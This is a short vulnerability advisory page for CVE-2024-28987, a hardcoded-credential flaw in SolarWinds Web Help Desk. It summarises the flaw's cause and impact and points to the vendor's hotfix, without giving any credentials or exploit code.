CVE-2024-28987

CRITICAL CISA KEV EXPLOIT POC TTE 3h Pub 21/08 Upd 21/10

Overview

This vulnerability is a hardcoded credential flaw within the SolarWinds Web Help Desk software, specifically affecting its authentication mechanism. The root cause is the presence of embedded static credentials in the system, which are used to grant access to internal functionality without proper validation. The affected component is the Web Help Desk's authentication process that handles user authorization for accessing administrative endpoints.

Vulnerability Description

The SolarWinds Web Help Desk (WHD) software is affected by a hardcoded credential vulnerability, allowing remote unauthenticated user to access internal functionality and modify data.

Impact

An attacker with knowledge of the hardcoded credentials can remotely access the SolarWinds Web Help Desk system without authentication. This access enables manipulation of internal data and administrative functions, potentially leading to unauthorized data modification or disclosure. No user interaction or prior access is required, allowing attackers to compromise the system remotely and impact business operations by altering ticketing or support data.

Solution

SolarWinds has released a security advisory recommending immediate upgrade to Web Help Desk version 12.8.3 Hotfix 2 or later, which addresses this vulnerability. Detailed patch instructions and advisory information are available at SolarWinds Trust Center and Support Center URLs: https://www.solarwinds.com/trust-center/security-advisories/cve-2024-28987 and https://support.solarwinds.com/SuccessCenter/s/article/SolarWinds-Web-Help-Desk-12-8-3-Hotfix-2. Organizations should apply the hotfix promptly to remove hardcoded credentials and restore secure authentication controls.
